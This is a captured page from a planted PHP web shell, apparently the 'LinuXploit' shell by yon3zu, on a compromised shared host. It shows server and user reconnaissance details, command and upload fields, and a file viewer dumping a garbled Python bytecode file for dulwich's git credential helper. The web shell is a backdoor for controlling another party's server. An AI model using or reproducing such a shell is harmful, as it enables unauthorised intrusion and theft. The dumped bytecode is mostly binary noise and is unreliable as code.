403Webshell
Server IP : 217.160.0.244  /  Your IP : 216.73.217.138
Web Server : Apache
System : Linux infong-eu155 4.4.400-icpu-108 #2 SMP Wed Feb 11 11:51:01 UTC 2026 x86_64
User : u100174116 ( 6746176)
PHP Version : 8.5.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/dulwich/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/dulwich/__pycache__/credentials.cpython-313.pyc
�

mEdg����SrSSKrSSKJr SSKJr SSKJrJr SSK	J
r
Jr S\S	\S
\4Sjr
S\S
\S
\4SjrS\
S\\S
\\4Sjrg)zbSupport for git credential helpers.

https://git-scm.com/book/en/v2/Git-Tools-Credential-Storage

�N)�Iterator)�Optional)�ParseResult�urlparse�)�
ConfigDict�SectionLike�url�
url_prefix�returnc��URUR:H=(a9 URUR:H=(a URUR:HnUR(aURUR:HOSnURRS5R
URR55nU=(a U=(a U$)NT�/)�scheme�hostname�port�username�path�rstrip�
startswith)r
r�
base_match�
user_match�
path_matchs     �5/usr/lib/python3/dist-packages/dulwich/credentials.py�
match_urlsr%s����
�
�j�'�'�'�	(��L�L�J�/�/�/�	(��H�H�
���'��
9C�8K�8K�����!4�!4�4�QU�J�������%�0�0����1G�1G�1I�J�J��3�*�3��3��	valid_url�partial_urlc	�0�SU;a[SU-5nO&[U5nURUR:wag[UR=(a URUR:gUR=(a URUR:gUR
=(a UR
UR
:gUR=(a7 URRS5URRS5:g45(agg)z;Matches a parsed url with a partial url (no scheme/netloc).z://z	scheme://FrT)rr�anyrrrrr)rr�parseds   r�match_partial_urlr!0s����K���+��3�4���+�&�����v�}�}�,��
�
�_�_�
F��!3�!3�v���!F�
�_�_�
F��!3�!3�v���!F�
�[�[�
:�Y�^�^�v�{�{�:�
�[�[�
R�V�[�[�/�/��4�	���8M�8M�c�8R�R�		
����r�configc#�# �UR=(d [R"5n[U=(d S5nUR	5H�nUSS:waM[U5S:aUv� M#USR
U5n[U5nUR(aUR(a[X65nO[X55nU(dM�Uv� M� g7f)zFReturns credential sections from the config which match the given URL.�rs
credential�rN)�encoding�sys�getdefaultencodingr�sections�len�decoder�netlocrr!)r"r
r&�
parsed_url�config_section�
config_url�parsed_config_url�is_matchs        r�urlmatch_credential_sectionsr2Fs�������:�#�"8�"8�":�H��#�)��$�J� �/�/�+���!��
�-���~���"� � ��#�A�&�-�-�h�7�
�$�Z�0���#�#�(9�(@�(@�!�*�@�H�(��@�H��8� � �!,�s�C
C�	C)�__doc__r'�collections.abcr�typingr�urllib.parserrr"rr	�boolr�strr!r2�rr�<module>r:su��.��$��.�+�4�K�4�[�4�T�4����3��4��,!��!�%�c�]�!�
�k��!r

Youez - 2016 - github.com/yon3zu
LinuXploit